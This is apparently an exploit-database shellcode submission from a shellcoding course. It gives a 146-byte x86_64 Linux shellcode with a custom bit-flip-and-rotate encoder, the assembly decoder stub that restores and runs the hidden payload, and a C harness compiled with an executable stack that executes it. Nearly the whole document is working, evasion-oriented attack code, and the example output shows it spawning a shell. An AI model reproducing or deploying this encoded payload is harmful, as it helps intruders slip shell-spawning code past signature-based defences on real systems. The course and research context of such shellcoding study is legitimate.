## Exploit Title: FlipRotation v1.0 decoder - Shellcode (146 bytes)
## Exploit Author: Eduardo Silva
## Date: 2022-12-31
## Tested on: Linux x86_64 SMP Debian 4.19.260-1
## SLAE/Student ID: PA-31319
## Webpage: https://0xnibbles.github.io/
## Twitter: @0xnibbles
## Course: This shellcode was created for the x86 Assembly Language and Shellcoding on Linux (SLAE32) Course offered at pentesteracademy.com.
## Description: The inspiration for this algorithm was the known CBC bit-flipping attack but applying a simple variation to our context.
##
## More specifically, the steps are
##
## 1 - We pick each shelcode byte and flip the last bit using a xor operation - flipped_shellbyte = shellbyte ^ 0x01
## 2 - Based on that output the rotation direction is defined. We rotate right if odd or left if even. The number of rotation positions is defined by the loop index value (number of interations) of the loop at that time.
## 3 - If we rotate right we append 0x2 afther the encoded byte and if we rotate left we append 0xff
## 4 - Put the byte 0xa0 as the shellcode end marker
##
## More info at https://0xnibbles.github.io/posts/slae_32_assignment_4/ - the 64 bit version has the same logic as 32 bit
##
## Example:
## $ ./shellcode
## Shellcode Length: 146
## id
## uid=1000 ...
##
########################################################################
global _start
section .text
_start:
jmp decoder
EncodedShellcode: db 0x49,0xff,0x18,0x02,0x7,0xff,0x8a,0xff,0x94,0xff,0xd5,0x02,0xb8,0x02,0xb1,0xff,0x68,0x02,0xde,0xff,0x8b,0x02,0xc5,0x02,0x27,0x02,0x2d,0xff,0x49,0x02,0xa4,0xff,0x88,0x02,0x73,0x02,0x45,0xff,0x4a,0xff,0x88,0x02,0x7c,0xff,0x59,0x02,0xa4,0xff,0x88,0x02,0xcf,0xff,0x25,0xff,0x50,0x02,0x1c,0xff,0xd1,0x02,0x38,0x02,0x8,0x02,0xa0,0xa0 ; 0xa0 is the stop marker
decoder:
lea rsi, [rel EncodedShellcode]
lea rdi, [rsi+1] ; pointing to second byte (0x02) from shellcode
xor rax, rax
mul rax ; zeroes edx
mov al, 1
xor rcx, rcx
xor rbx, rbx
decode:
mov bl, byte [rsi + rax] ; mov parity byte to bl
xor bl, 0xa0 ; check if reached the end marker | 0xa0 ^ 0xff = 0x5f
jz short EncodedShellcode ; reached the marker if Zero Flag not set
xor bl, 0x5f ; if equal parity is even (0xff)
mov bl, byte [rsi + rdx]
jnz odd
even: ; rotate right
ror bl, cl
jmp short bitFlip
odd: ; rotate left
rol bl, cl
bitFlip:
xor bl, 0x01
restore_next_byte:
mov byte [rsi + rdx], bl ; replaces the original byte
mov bl, byte [rsi + rax+1] ; mov next shellbyte
mov byte [rdi], bl
inc rdi
add al, 2
inc dl
inc cl
; Doing circular array as modulo workaround. Use 0x08 as a divisor or circular boundary because we are rotating 8 bits (al register).
cmp cl, 0x08 ; if equal ZF will be set meaning we have a complete rotation
jnz decode ; $+2 ; jump if rotation is not complete
xor rcx, rcx ; if rotation is complete and reset cl to start again the "circular array"
jmp short decode
##############################################
// Filename: shellcode.c
// Compile: gcc -z execstack -fno-stack-protector shellcode.c -o shellcode
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x42\x49\xff\x18\x02\x07\xff\x8a\xff\x94\xff\xd5\x02\xb8\x02\xb1\xff\x68\x02\xde\xff\x8b\x02\xc5\x02\x27\x02\x2d\xff\x49\x02\xa4\xff\x88\x02\x73\x02\x45\xff\x4a\xff\x88\x02\x7c\xff\x59\x02\xa4\xff\x88\x02\xcf\xff\x25\xff\x50\x02\x1c\xff\xd1\x02\x38\x02\x08\x02\xa0\xa0\x48\x8d\x35\xb7\xff\xff\xff\x48\x8d\x7e\x01\x48\x31\xc0\x48\xf7\xe0\xb0\x01\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x9d\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x48\xff\xc7\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd0\x48\x31\xc9\xeb\xcb";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}